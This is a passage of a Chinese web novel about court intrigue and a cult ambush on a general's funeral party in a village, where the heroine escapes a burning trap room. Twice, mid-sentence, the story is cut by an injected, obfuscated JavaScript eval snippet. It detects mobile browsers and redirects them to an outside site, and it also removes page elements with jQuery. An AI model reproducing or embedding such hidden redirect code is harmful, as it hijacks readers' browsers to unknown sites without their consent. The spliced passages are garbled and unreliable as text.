卯时三刻的早朝,像一场不见血的厮杀,刚刚散去。皇帝季泸一身明黄常服,满面倦色地踱入偏殿随安室,将满朝的喧嚣关在身后。 殿内,熏笼里燃着上好的龙涎香,暖意融融。他的目光,却落在了墙上那幅半旧的《鹤鹿图》上。画中仙鹤引颈,灵鹿回眸。鹤,是南赫。鹿,是他自己,季泸。 他想起很久以前,这画上,本还有一匹狼。鹤,南赫。鹿,季泸。狼,温琅。神宗末年,天下大乱,他们三人,都还是三十而立的年纪,于风云际会中,论天下,也画下了这幅《鹤鹿狼图》。 那时,他的鹿,居于正中,意气风发。 可五年前漠北那场血战之后,他亲手裁去了画上的狼,命人重裱,只余鹤鹿相伴。他看不下去。那匹狼让他夜夜难安,让他愧疚。 只是时至今日,他仍不知,当年容不下温琅,究竟是对是错。 如今,鹤也去了。他的左膀右臂,都死了。季泸忽然开口,声音里带着一丝自己都未察觉的萧索:“易吉利。” “奴才在。”大太监易吉利躬着身子,碎步跟上。 “你说,朕是不是老了?” 易吉利额角瞬间沁出一层冷汗,心在胸腔里打着鼓。他小心翼翼地赔着笑:“陛下说笑了。今儿一早,四岁的大皇子殿下还捧着书卷说,父皇是这天下最厉害的人。” “小阿炆?”皇帝的脸沉了下来,随手抄起案上的一卷奏折,不轻不重地敲在易吉利头上。“上朝时,为了皇妹和小阿炆的封赏,那帮人就吵得朕头疼。怎么,你如今也敢在朕面前提这个?” 他的声音陡然转冷,带着审视的意味:“是娄盈…给你塞钱了?” “奴才该死!奴才万死!”易吉利“噗通”一声跪倒在地,冷汗已经浸湿了内衫。他一边叩首,一边飞速地转着念头。圣心难测,圣心难测啊! 陛下直呼皇贵妃本名“娄盈”,而非“谢氏”,可见五年前将她从一介服侍元后的婢女,改而记作名门谢家嫡女的天大恩典,还让他们感情烧得更旺。 对皇长子,唤的也是亲昵的“小阿炆”,不像对长公主,只称冷冰冰的“皇妹”。这亲疏远近,这简在帝心的母子,自己明明没有判断错。错就错在,提得太直白,太没脑子! 再加上…陛下一旦想起靖远将军温琅,心情便会跌入谷底。谁碰上,谁倒霉。自己侍奉在侧,自然是那个最倒霉的。 就在这时,一个小黄门碎步趋入,跪在殿外,高举着一封蜡丸密信。 “讲。”皇帝的声音听不出喜怒。 小黄门不敢抬头,颤声道:“北地铁骑来报,温将军…已于两日前寻回南相千金。为护其周全,雨夜雪天,曾…曾入帐相拥。” 殿内一片死寂。易吉利把头埋得更低了,大气也不敢出。 良久,他听见皇帝发出了一声极轻的笑。那笑声里,有种如释重负的快意:“南赫生前,倒是在朕面前提过一嘴,说他那女儿自幼倾慕少虞这孩子。”皇帝的声音变得和缓,像是在追忆什么温情往事:“可惜,一个体弱,一个远在边疆,耽搁了。” 易吉利立刻心领神会地抬起头,接话道:“这可是天赐的缘分!南相在天有灵,想必也会欣慰。” “嗯。”皇帝点了点头,似乎极为满意,“拟旨。传朕旨意,骁骑将军温少虞与南氏岁莞,乃故丞相南赫生前属意,情意相通。特赐天婚,着礼部操办,百日内完婚。” 他像是终于找到了一个完美的台阶,一个能将所有棋子都归于原位的理由。给那个功高震主、又没了家族掣肘的温少虞,安一个没有娘家势力的妻子,再好不过。 易吉利领旨退下后,季泸的目光又落回了朝堂的纷争上。为了新相之位,皇贵妃那位挂名的义兄谢仪,在朝上几乎要与人打起来。 可他偏没选他。他点了淮侯田禹。一个当年跟着他平定天下,之后便在户部尚书的位置上待了十几年,几乎所有人都以为会老死任上的旧人。 “传朕口谕,淮侯府邸,即日起同为相府,此乃荣恩。另,追谥故相南赫为‘文襄’。原丞相府,改为文襄侯府。” 旨意一道道传下,朝局的风,便又换了个方向吹。皇帝季泸独自站在空旷的随安室内,看着那幅画。 仙鹤远去,只余灵鹿孤影。他想,这盘棋,他还下得动。 4. 遗忘的岁月 寅时七刻,天光将破。东方天际,一线鱼肚白正缓缓洇开,化作一抹极淡的青蓝。地上的残雪,被这微光一照,泛起一层凛冽的白霜。 帐内暖意尚存,帐外寒气逼人。南岁莞悄然起身披上厚氅,独自走向营地边缘那片新立的坟茔。 白雪枯枝间,八根削尖的竹竿伶仃地立着,顶端悬着被风雪撕扯得破破烂烂的白布条。竹竿之下,是八块灰褐色的粗糙石头。上面用利器歪歪斜斜地刻着亡者的姓名与身世,字迹深浅不一。 远远望去,真像雪地里散落的八块黑炭,突兀又沉寂。 南岁莞走到近前,一个一个地看过去,又一个一个地深深躬身祭拜。她的动作很慢,带着一种与年龄不符的肃穆与郑重。就在她拜到第三块墓石前时,身后传来轻微的、踩雪的“咯吱”声。 一个白胖的身影停在她身后,恭敬地问好:“娘子安。” 南岁莞直起身,回过头:“嬷嬷请起。”她看着眼前这张脸,像个刚出笼的白面馒头,鼻翼宽大,眼睛被丰腴的脸颊挤得有些细长,是膳房的杭芍嬷嬷。 “这么早,嬷嬷也来祭拜?”南岁莞柔声问道。 杭芍嬷嬷应了声,微微抬起下巴,示意着南岁莞身前那块墓石。石上刻着两个字:桂枝。 “桂枝呀…”年过五十的老妇人声音里带上了几分感伤,像是瞬间陷入了遥远的回忆,“别看她那张嘴厉害,成天嫌我胖,还笑我打叶子牌出得慢。可她手气好,老赢,赢了就在那儿得意地笑,说回头换了钱给我买桂花糕吃…” 杭芍的声音渐渐低了下去。她没再说话。 她没说僧贼冲进来的那一刻,桂枝是怎么用尽全身力气,死命把她往远处推了一把。她也没说,桂枝声嘶力竭地对她喊:“快走!别回头!” 她是从小和桂枝一起长大的交情,几十年了,总被桂枝当不懂事的妹妹训。所以她听话了。她真的没回头。哪怕身后传来桂枝那一声短促而痛苦的呼号,她也只是咬着牙,按桂枝说的,快跑,别回头。 直到入殓时,她才第一次,也是最后一次,看到桂枝后心那个被刀锋整个捅穿的血窟窿。那一刻,她才开始后悔。后悔自己为什么那么听话,为什么不回头,拉她一把。 南岁莞见她沉默良久,周身都笼罩着一种化不开的悲恸,便知趣地岔开了话题。她望向远处连绵的荒山,轻声感叹:“这里…为何匪患如此猖獗?” 这一问,仿佛触动了杭芍心直口快的某个开关。她像是要把积压多年的郁气一吐为快,压低了声音,飞快地说道:“姑娘有所不知,这都是陈年旧账了。当年,咱们当年打江山,太心急,贸然去攻神京。结果,里头那些梁神宗的残党也是一帮狠人,反手绕过来,把咱们在京郊的大本营给端了。” 她的声音里带着一丝颤抖:“元后娘娘,还有三位皇子、一位公主…全都没了,只有如今的长公主殿下,侥幸逃了出去。后来,梁神宗在宫里放火自焚,可他底下有个‘复梁教’,借着乱世,在这京畿之地猖獗了好一阵子。” “眼看就要被靖远将军…就是温将军的父亲温琅将军给剿灭了。偏偏那时候,漠北的蛮子又作乱。温琅将军没办法,只能带兵去了漠北。他倒是厉害,拼死在那边杀了蛮子王,解了咱们的大危,可他自己也…”杭芍叹了口气,眼中的悲伤更浓了。 “所以这京郊连年兵祸不断,又要供养神京里的达官贵人,百姓的日子苦不堪言。那‘复梁教’的余孽,便死灰复燃,改了个名叫‘闻香教’,尽是装神弄鬼,收拢了好多活不下去的百姓和匪子。也就是前几年,骁骑将军…就是温将军,带兵灭了那一带最大的琼水帮,这地界才算稍稍好了些。” 杭芍一口气说完,像是卸下了千斤重担,胸口剧烈地起伏着。南岁莞静静地听着。她看着眼前这片埋葬着普通人的雪地,又想起那个在帐中向她许诺未来的年轻将军。 原来,那些她遗忘的岁月里,这片土地,和这片土地上的人,都经历了如此沉重的过往。原来,他的父亲,也是葬身在了这无休无止的战乱里。 南岁莞心头一动,又生出几分好奇。她望着杭芍,轻声问:“嬷嬷怎会知晓这许多?”这一问,倒不是疑心嬷嬷的身份,而是…这些牵扯到圣上的陈年旧事,甚至直指当今圣上的龙兴之地,怎敢如此直白地说出口? 是桂枝嬷嬷的死,让她没了顾忌,还是…自暴自弃了? 杭芍听了,那张白胖的脸上竟浮起一丝与有荣焉的复杂神色,随即又化作了满腹的怨气。“哎呦,我的娘子,”她的声音像是在抱怨,又像是在炫耀。 “咱们相爷,当年可是这儿的县丞老爷。他中了科举,本分做官,偏偏被两个会些拳脚功夫的混混,半哄半骗地给裹挟了。那造反的第一炮,就是他们撺掇着相爷,把这儿的知县给干掉了!可怜我们相爷,就这么惹了一身骚,劳心劳力了一辈子!” 南岁莞心里咯噔一下,一个荒唐的念头冒了出来。她试探着问:“那两个混混,该不会是…” 杭芍眼一瞪,怨愤几乎要从那双细眼里喷薄而出:“还能有谁!就是当今圣上,和那位靖远将军!” “嬷嬷!”南岁莞吓得魂飞魄散,一把捂住了杭芍的嘴。“这话怎么敢说!”她压低声音,心跳得如同擂鼓。 身后,一声故意的、清冽的咳嗽声响起。“咳。” 南岁莞身子一僵,缓缓回头。温少虞就站在她俩身后不远处,晨光勾勒着他挺拔的身形,玄色大氅在寒风中纹丝不动。他眸色深沉,嘴角却噙着一抹似有若无的笑意:“原来,南娘子也知道怕。” 南岁莞的脸颊瞬间烧了起来,又羞又恼。可对上他那双眼,那点恼意又莫名消散,化作了一丝若有似无的心疼。她嘴唇一撇,故意扬声道:“有温将军在此为我们放哨,我们自然什么都不怕。” 脑海里,却不合时宜地晃过昨夜的画面。他捧着药碗,哄着她喝药时,那有些笨拙的温柔,和像犯了错一般腼腆的小眼神。还有他单膝跪地,抬头任她打量时,那双沉静的眼眸,像东风解冻的富春江水,沉静之下,是涌动的春意。 她怎么会再怕他。 这些动作,这些神态,竟带着一种说不出的熟稔与亲切,仿佛…和他已经认识了很多年。许是发现他并非一件寒光凛凛、没有感情的兵器,而是一个活生生的人,便会如此吧。 温少虞听着她带刺的娇嗔,并未动怒,只是走近两步,神情变得郑重:“圣人之言,近则不逊,远则怨。” 他声音低沉,带着不容置喙的威严:“这些涉及君王功过之事,需得有度,不可妄议。”他顿了顿,意有所指地补充:“尤其当今圣上,并非宽宏大量、闻过则喜之人。” 南岁莞看着他努力板起一张俊脸,作出一副老成持重的模样,忽然觉得有些好玩。她眼珠一转,水杏眼亮晶晶的,天生粉润的菱唇微微翘起:“是,是岁莞顽劣,惹师父费心了。” 那尾音拖得又软又长,带着几分不自知的缠绵与撒娇。她脸上那份元气明媚的笑意,像一道光,瞬间劈开了温少虞记忆的壁垒。 他有片刻的晃神,仿佛又回到了琼水帮的山寨,那个明艳张扬的少女,也是这般笑着,闹着,拽着他的袖子,脆生生地喊:“小虞,小虞!你来当我的压寨夫君,我就是你的师父了!枪法、药草、做好吃的,我通通都教你!” 温少虞的耳根,不受控制地泛起一层薄红。 “啧啧,”一旁,被松开嘴的杭芍嬷嬷发出了意味深长的咂嘴声。 那抹薄红迅速蔓延开来。温少虞猛地回神,愈发窘迫,只得强行板着脸,用更郑重的语气掩饰道:“天色不早,歇息了一夜,也该继续上路了。” · 车马行至黄昏,终于在一处村落前停下。一路的颠簸,让南岁莞五脏六腑都错了位似的,掀开车帘的手都有些发软。 幽茂的古木层层叠叠,如巨兽的爪牙,环抱着这片名为楼桑村的土地。入目所及,是几间零落的屋子,外墙的泥土斑驳脱落,屋顶的瓦片参差残缺。 一盏昏暗的风灯挂在村口的老树上,光晕染开一小圈,照不见更远处,死一般的静令人心慌。 随行众人人手提了一盏行灯,幢幢灯影,更衬得此地诡谲。雪色掩盖了太多破败,却也让那些从雪下顽强探出头的枯黄草尖,和被丢弃在院落角落的破旧家具,显得愈发不堪。 南岁莞拢了拢身上的狐裘,寒气依旧无孔不入。突然,一声极轻的犬吠,像针尖,刺破了这片死寂。她循声望去,正见温少虞提着风灯,一言不发地朝那声音的源头走去。 灯光下,那是一只土狗。瘦得只剩一把骨头,浑身的毛发都沾满了雪沫,正不住地发着抖。 温少虞只看了它一眼,便回过头,沉声道:“跟上。”那土狗竟似听懂了,呜咽一声,转身便钻进了一条幽暗坎坷的林间小道。众人只好提着灯,跟着那颤巍巍的小小身影。 茜草的脚踝本就崴青了,走在这雪路上一瘸一拐,南岁莞看着心疼:“茜草,你的脚…我扶你。” “娘子,使不得!”茜草吓了一跳,连连摆手,“奴婢身子贱,哪能让您…”话未说完,一只胖乎乎的手伸了过来,一把搀住了纤瘦的茜草。 是杭芍嬷嬷。她瞪了茜草一眼,嘴里念叨着:“娘子心疼你,你倒扭捏起来了,仔细再摔一跤,更耽误事。” 一行人就这么一脚深一脚浅地走了大半个时辰。四周除了风声与踩雪的咯吱声,再无其他。就在南岁莞觉得连肺里吸入的空气都快要结冰时,空气中飘来了一丝异样的气息。 先是牛羊的低哞,隔着林子,听不真切,却足以振奋人心。紧接着,是柴火混着米香的炊烟味。队伍最前方的几名侍卫精神一振,立刻加速跑了过去探路。 不过片刻,便有一人折返回来,脸上带着喜色:“将军!娘子!前面有人烟!属下们看到了篱笆围着的院子,还晾着衣物,门前有大石磨,水缸里的水都冻实了,已经和一位老乡搭上话,说了是为相爷办丧事路过此地,他去喊村正了!” 南岁莞悬着的心,终于落回了实处。等她随着队伍走到村头时,已有几十个男男女女等候在此。他们都穿着洗得发白的短麻褐与短麻襦,脸上是长年劳作留下的风霜痕迹,神情却透着一股质朴的恭谨。 为首一位老者上前,对着温少虞和南岁莞深深一拜:“草民楼桑村村正韦贤,见过将军,见过姑娘。我等听闻是为老相爷办丧,心中不胜哀戚。正好家中煮好了饭,若不嫌弃,还请将军与姑娘赏脸,吃顿热乎的再歇脚。” 温少虞面色沉静,声音里听不出情绪:“不必了,我等下车前已用过干粮。” 那村正却十分执拗,又上前一步,脸上堆着笑:“将军一路劳顿,喝口热汤也是好的,咱们坐下聊聊天,也好商量明日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042188|178826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开祠堂祭拜相爷的事宜,定要让相爷…‘好好’地走。” 那“好好”二字,咬得极重,裹着些古怪的腔调,听着分外刺耳。南岁莞心头莫名一紧。温少虞眉峰微蹙,显然又想拒绝。 这时,送葬的世家子弟中,一人笑着开了口。是谢皇贵妃的亲侄,谢灵。 谢灵摇着扇子,一派风流倜傥:“温将军,这般拒人于千里之外,未免太不近人情了。依我看,既是盛情难却,不如应下。咱们边吃边谈,也能更快将流程拟定下来。等乡亲们用完了饭,咱们再行安置,亦不打扰,岂不两全?” 温少虞闻言,沉默了。他转过头,目光落在了南岁莞身上。那双深邃的眼眸里,没有命令,没有催促,竟是在…征询她的意见。 南岁莞微微一怔,随即对他轻轻点了点头:“便依谢公子所言吧。” 村正引着众人入了一间还算宽敞的土屋。男女分席,隔着一道半旧的布帘。南岁莞随杭芍嬷嬷与茜草入了内席,外席则是温少虞、谢灵并几位侍卫。 很快,几个村妇端上饭食。面前是粗糙的木碗木筷。碗里盛着热气腾腾的粟米粥,配着几碟腌白菜、腌萝卜,除此之外,再无他物。 南岁莞偷偷掀起布帘一角,望向外席。温少虞端坐着,并未动筷。谢灵与几名侍卫倒是饿了,端起碗吃得正香。她放下布帘,默默看着眼前的粟米粥,也失了胃口。 内席的村妇们都穿着洗得发白的灰麻衣,身形大多有些佝偻,在昏黄的油灯下,连面孔都显得模糊不清。南岁莞忽然觉得,自己在相府高墙内被呵护得太好了,好到竟不知这世间寻常百姓的吃食,是这般光景。 她正出神,眼角余光瞥见身旁一位村妇卷起的衣袖。那妇人手腕的皮肤上,纹着一个古怪的图案。 上为重瞳,下为烈火。图案简单,却透着一股说不出的诡异。 南岁莞心中一动,柔声问道:“阿嫂,您腕上的纹样,瞧着真别致。” 那村妇先是一愣,随即咧嘴笑了,露出两排黄牙:“娘子说这个呀!”她这一开口,仿佛点燃了引线,内席原本拘谨的气氛瞬间活跃起来。 “这是我们村里祈福的吉祥图样!”“是哩是哩,保佑咱们风调雨顺,人畜兴旺的!”她们的面孔瞬间生动起来,像是被点亮的灯笼。 一位妇人更是拉住她的袖子,比划着,脸上是夸张而真诚的笑意:“老婆子们也说不清,只说是祖上传下来的宝贝。俺们祖上还留下好大一匹麻布,上面织着这图案完整的来历,可惜,咱们都看不懂那上面的字画哩!” 南岁莞想象着那色彩鲜艳、历久弥新的布绘,竟生出几分向往。她莞尔一笑,也想与她们分享些什么:“说起画,倒让我想起神京慈恩寺的壁画,其中有一幅是名士谢意所绘的《维摩诘论道图》,亦是传世之作。” 村妇们立刻被勾起了兴致,纷纷追问。“娘子,那画上画的是什么神仙?” 南岁莞便轻声细语地为她们描述:“画上,维摩诘居士身披一袭白鹤裘,斜倚在胡床上,手持一柄麈尾。他面带病容,瞧着十分羸弱,可那双眼睛,却亮得惊人,仿佛有火焰在燃烧,神采飞扬地辩经论道。” 开朗健谈的村妇们很快便与她打成了一片。 那位一直笑呵呵的村正夫人更是亲热地握住她的手:“娘子懂得真多,人又和善,定是菩萨派来的人!不瞒您说,那匹祖传的布绘,就在我家后室。您若能帮我们瞧瞧,讲出画里的意思,也算了却了我们一桩心事,不辜负祖辈的嘱托了!” 南岁莞下意识地望向外席。村正正拉着温少虞,枯燥无趣地介绍着村中的布置,看样子一时半会也说不完。男女有别,她一个姑娘家,也插不进话去。 她便笑着应允:“好啊,夫人带路便是。”村正夫人喜不自胜,立刻起身,引着她往后院走。 那是一间瞧着格外坚固的后室,说是能防风防雨。门一推开,一股陈旧的麻布与灰尘气息扑面而来。村正夫人从墙上取下一卷用油布包裹得严严实实的长布,小心翼翼地展开。 南岁莞借着门外透进的灯光,边跟着夫人往里走,边垂眸看去。 画卷依次展开。第一幅,是一个人被一圈烈火环绕。第二幅,烈火之上,赫然是一颗燃烧的重瞳。第三幅,重瞳之上,升腾起袅袅的烟雾。第四幅,无数信众跪拜着,围绕着那团起烟的火焰。 画卷尽头,是一行行她从未见过的古拙文字。 【神宗自焚于圣火,留双目以观人间。】 【目生余香不散,唯心诚之圣徒方能嗅闻。】 【故曰,闻香教。】 闻香教…梁神宗…南岁莞的脑中“嗡”地一声,早上杭芍嬷嬷惊惧的低语如惊雷般炸响。她猛然心惊,方叫一声:“坏了!” 可一回头,却只看到村正夫人那张布满褶子的笑脸,在门缝最后的光影里,显得无比诡异。“咔哒。”门被无声地锁上了。一根燃着的火折子,被从门缝里扔了进来。 火折子落在墙角堆着的布画上,“轰”的一声,烈焰骤起!密室里再无他光,只有刺目的火光。火焰照亮了四壁。那瞬间,南岁莞浑身的血液仿佛凝固了。 墙上,哪里是什么防雨的泥墙! 四面墙壁,密密麻麻,画满了无数只窥伺的眼睛!而头顶的天花板正中,更有一双俯瞰着她的巨大重瞳,在刺目火光中无悲无喜地俯视着她。 5. 余孽 火焰仿若活物,贪婪地舔舐着每一寸空气。木梁噼啪作响地哀嚎,布料嘶嘶地悲鸣。陈旧的霉味混着烧焦的恶臭,直冲天灵盖。 南岁莞被滚烫的气浪逼得连连后退。后背贴上冰冷潮湿的墙面,激起一阵战栗。 火光跳跃,墙壁上那无数只眼睛仿佛在眨动,冰冷地、漠然地,注视着她这个即将被吞噬的祭品。 前有烈焰,后有窥伺。她像是被大火与眼睛左右夹击,注定要被献祭给顶上那双俯瞰众生的巨瞳。 焦臭中,一股诡异的异香丝丝缕缕地钻入鼻腔,是那闻香教的“香”。恶心感与眩晕感同时涌上,南岁莞死死捂住口鼻,强迫自己屏息。 指尖很快被烟熏得发黑。额头与掌心渗出细密的冷汗。浓烟刺得她双目泛红,泪水不受控制地滑落,又被高温瞬间蒸干。 火舌已经蔓延至脚边,她罗裙的衣角被燎着,倏地卷曲、发黑。柔白的足踝传来一阵滚烫的刺痛,已然被烫出了一片触目惊心的红痕。 她却仿佛未觉,下巴紧绷,牙关都在颤抖,苍白的脸颊被猩红火光映得透亮,眼神却锐利如刀。 她要在被献祭之前,先掀了这神坛。 南岁菀的手掌不住地在身后粗糙的墙画上摸索,抠着那些眼睛凹凸不平的纹理。一个念头如电光石火般击中她。 这些眼睛…不怕烧! 火光舔过墙壁,那些彩绘的瞳孔却毫无变化,只是在水光映照下,更显诡异。 它们是湿的。一直都是湿的! 南岁莞的心脏狂跳起来。有水…有水就有暗道,有暗道就有连通外面的路!她猛地抬头,在缭绕的灰烬与浓烟中,死死盯住天花板上那双最大的重瞳。 出口必在那里。她侧身,正欲避开身前的火墙,向那重瞳之下靠近。 “咻—咻—咻!”破空声尖锐刺耳。那双巨瞳之中,竟陡然抛射出十几柄淬着寒光的尖刀,直直朝她射来。是机关! 南岁莞的肌肉瞬间绷紧到极致。她几乎是凭着身为水匪时磨炼出的本能,一个狼狈至极的翻滚,险险避开了大部分刀刃。 “嘶—”左臂仍是被划开一道深可见骨的血口,剧痛袭来,鲜血霎时浸透了衣袖。 灰烬呛得她喉咙火烧火燎,每一次急促的呼吸,都混着焦布与血腥的气息。她看着最后一柄尖刀“咄”地一声钉入地板,火光已烧到眼前,退无可退。 视野边缘开始泛起黑影,但她一双被烟熏得通红的眸子,却死死锁着那双巨瞳,再无半分动摇。 刹那之间,南岁莞有了决断。她俯身,从地上拔起一柄离她最近的尖刀,反手斜斜插入坚实的土地。左脚猛地踹上身后的墙壁,借着这股反作用力,右脚精准地踩上了没入地面的刀柄! 只此一瞬的借力,她整个人已如脱弦之箭般跃起。身体在半空中划出一道惊心动魄的弧线,像一道绝望的钟摆,直直荡向那双诡秘的重瞳。 南岁莞右手紧握着另一柄刀,用尽全身的力气,对着方才射出刀刃的瞳孔中心,狠狠向上捅去! “咔嚓—”一声脆响。那被她捅破的地方,果然露出一个幽暗深邃的大洞! 南岁莞左手疾探,五指死死勾住洞口破开的粗糙边缘。右手腕一翻,将手中刀刃狠狠插进洞口另一侧的土层里。双臂青筋暴起,她发出一声压抑的低吼,手臂与腰腹同时发力。 整个人借着这一勾一插之力,猛地向上攀升。最终,在底下烈焰席卷而至的前一刻,她纵身跃入了天花板上那个未知而黑暗的洞中。 跃入瞬间,入目的是极致的黑暗。 身后,一线挣扎的火光从她用刀刺破的洞口透入,在幽闭的甬道里投下扭曲的光影。南岁莞来不及喘息,立刻反手,用尽力气将那块被她捅破的、画着瞳孔的土石硬生生按了回去。 光倏然断绝。向上的火焰舔舐着天花板,撞上那些湿润的彩绘眼睛,发出“滋滋”的声响,却终究没能再往上蔓延分毫。 密道里,只剩下纯粹的、吞噬一切的黑。 浓得化不开的霉味混着土腥气,直往鼻腔里钻。远处,隐约回荡着微弱的滴水声,嗒,嗒,像是为这死寂计着时。甬道极窄,仅容她蜷身。 南岁莞试着直起腰,后背便撞上冰冷潮湿的土壁,激起一阵寒栗。还未等她适应,整个密道忽然剧烈地晃动起来,头顶簌簌落下尘土。 大概是底下的大火,在焚烧这密室的梁木吧。 南岁莞左臂的刀伤被方才的攀爬与冲撞撕裂,一股温热的黏腻感迅速沁透了单薄的衣料。她甚至不用看,也知道那里的血正如泉涌。 发力过度的手臂抑制不住地颤抖,像秋风中的残叶,再使不上一丝力气。南岁莞蜷着酸痛的身体,背脊绷得像一张拉满的弓弦。 灰土呛入喉咙,引来一阵撕心裂肺的干呕,却什么也吐不出来,只剩下满嘴的苦涩。 不能停。她脑中只剩下这一个念头。在这愈发剧烈的摇晃中,她还远未脱离危险。 身上那件在相府里人人称羡的浅灰鹤氅,早已在后室的烈焰中脱下,不知化作了哪一缕飞灰。此刻,只余一身单薄的罗裙贴着身,寒意刺骨。 她忍着痛,摸索着撕下被烧得卷曲发脆的裙裾,那布料一碰就碎,像一张枯叶。她只能用这残破的布条,胡乱地、笨拙地将手臂上的伤口一圈圈缠紧。 血水无声洇开,像一朵迟迟绽放的深褐色梅花。 她忍住不去想,自己为何会这么多近乎本能的武功。她更不敢去想,为何方才面对那场大火与诡异的祭坛,心中会燃起一种…一种温柔的、却又滔天的愤怒,恨不得亲手掀翻那大火,碾碎那些眼睛。 我是谁。这个念头一闪而过,又被她死死压下。 黑暗里,她用指尖感受着密道壁上那些冰冷、湿滑的眼睛形状。她只能爬,沿着这陡峭向下的坡度,用最快的速度。膝盖与手肘早已磨破,每一次挪动都带着与沙砾摩擦的剧痛。 她磕磕绊绊,几乎是半滚半爬,就在她气力将尽,浑身骨头像要散架,而身下的密道终于变得平缓之时—— 上方,骤然传来沉闷的轰鸣与木石断裂的巨响,是上面那截密道,塌了。 南岁莞趴在泥地里,剧烈地喘息,劫后余生的庆幸只持续了一瞬。 也许是坍塌炸漏了附近的暗渠。冰冷的积水开始从石壁的缝隙中渗出,起初是涓涓细流,很快,便汇成了冰凉的水洼,浸湿了她的裙摆。 好消息是,她及时爬了出来。坏消息是,她被困在了这截新的牢笼里。 这平缓的密道,在纯粹的黑暗中仿佛没有尽头。它依旧那么狭窄,逼着她屈身爬行,像个细长囚笼里的缓行犯。 而水位,正一滴一滴,一寸一寸,坚定不移地上涨。 这是一场新的赛跑。是她先找到出口,还是这冰冷的积水先灌满囚笼,将她彻底淹没。 · 楼桑村外,长风萧瑟。 另一头的席面,与后室的烈火相比,是另一种冰冷的死寂。这里的粟米粥同样寡淡,腌菜咸得发苦。温少虞端坐席上,玄色锦衣在灰败的村落里,像一团沉沉的墨。 他并未动筷,只静静听着风过檐角的呜咽,目光却未离开过后室那扇紧闭的门,心头无端地焦躁,像是有一根看不见的线,一头系着他,另一头,牵入了那片未知的黑暗里。 忽然,邻席传来一声闷响。是吏部侍郎家的小公子谢灵,一头栽倒在桌案上,打翻了那小半碗的粟米粥。 温少虞眼睫微动,寒光一闪而逝。紧接着,仿佛是某种无声的号令。 “噗通”、“噗通”—— 倒下的声音此起彼伏,连成一片。赴宴的士族子弟,竟在这短短数息之内,倒下了七成。他们瘫软如泥,面色青白,人事不省。 而他带来的亲卫,未曾吃那一锅粥的铁血汉子,却个个目光如炬,稳坐如山。温少虞的指节在案下轻轻敲了敲,是饭食。 温少虞缓缓抬眼。那些前一刻还淳朴憨厚的村民,骤然都变了,他们所有人的脸,都在一瞬间失去了表情。 那种麻木的、空洞的眼神,像是被抽走了魂魄的木偶,只剩下狂热的火焰在瞳孔深处燃烧。他们的面部肌肉开始不受控制地抽搐、扭曲,构成一幅幅诡异而整齐的面孔。 他们的目标,是他。 温少虞感到数十道视线,如淬毒的钢针,死死钉在他身上。没有一句废话,那些村民动作划一地,从宽大的袖袍中滑出了一截截细长的竹管。 “咻——” 破空之声尖锐而细密。数十枚泛着幽暗光泽的毒箭,如一场突如其来的暴雨,从竹管中泼向温少虞。 温少虞未起身。右手闪电般握住案上的佩刀刀柄,刀未出鞘。左手却拈起了那双乌木筷。 “叮!当!叮叮——” 金石交击之声,清脆而急促。木筷在他指间灵活地翻飞,如两只穿花的黑蝶,精准地磕飞了每一枚近身的毒箭。火星四溅,他甚至有闲暇,用眼角的余光,瞥向身侧的偏将。 那一眼,冰冷、沉静,带着不容置疑的命令——我来挑衅他们拖延时间。偏将心领神会。 温少虞唇角勾起一抹极淡的、堪称残忍的弧度。他故意卖出一个破绽,任由一枚毒箭擦着他的发冠飞过,削断一缕墨发。 “呵。” 一声轻笑,在箭雨中清晰可闻。村民们的眼神愈发狂热,攻势也愈发疯狂,所有的注意力都被他这轻慢的态度彻底点燃。他们眼中再无旁人。 偏将趁此机会,打了个无声的手势。一半亲卫,如鬼魅般掠出,迅速将昏迷的士族拖离桌案,筑起一道人墙。另一半,则悄无声息地散开,借着屋舍与树木的掩护,反向包抄,像一张缓缓收拢的巨网。 螳螂捕蝉,黄雀在后。 温少虞的木筷舞得愈发急了,每一次格挡都精准无比,却又偏偏留出一线生机,引诱着他们不断逼近,将包围圈缩得更小。 他在等,等一个时机。 当最后一个亲卫潜伏到位,当所有村民都挤入那个绝佳的猎杀范围,时机就到了。他左手的木筷,在格开最后一枚毒箭后,忽然脱手。 “啪嗒。”一声轻响,筷子落地,这是号令。 “杀!”震天的吼声,从四面八方同时炸响! 方才还空无一人的村落暗处,猛然杀出数十名玄甲亲卫,刀光雪亮,如平地上卷起一场风暴。那些疯狂的村民终于惊觉,猛然回头,却只看到一双双冰冷的眼睛和迎面劈来的长刀。 局势,瞬间逆转。 此刻,是村民包围着温少虞,亲卫包围着所有村民。两重包围圈中,温少虞终于起身。 “锵——”长刀出鞘,吟如龙啸。他一人一刀,立于风暴中心,刀光如练,泼洒开来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042189|178826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,竟带着几分月下独酌的华丽与疏狂,将所有攻向他的兵戈刀箭都密不透风地挡在三尺之外。 温少虞分外英武,玄衣猎猎,为身后的反杀,撑起了一片最稳固的、也是最致命的屏障,滴水不漏,宛如定海神针。他游刃有余,甚至在盘算着,待会该用怎样的方式撬开一个活口的嘴。 就在此时,内席之后,那间紧闭的土屋,骤然腾起滔天火光。火舌舔舐着枯黄的茅草屋顶,发出噼啪爆响,浓烟滚滚,直冲云霄。 凄厉的尖叫声撕裂了厮杀声,是女眷的声音。隐约可见,那些丫鬟嬷嬷,正与同样状若疯魔的村妇扭打在一起,乱作一团。 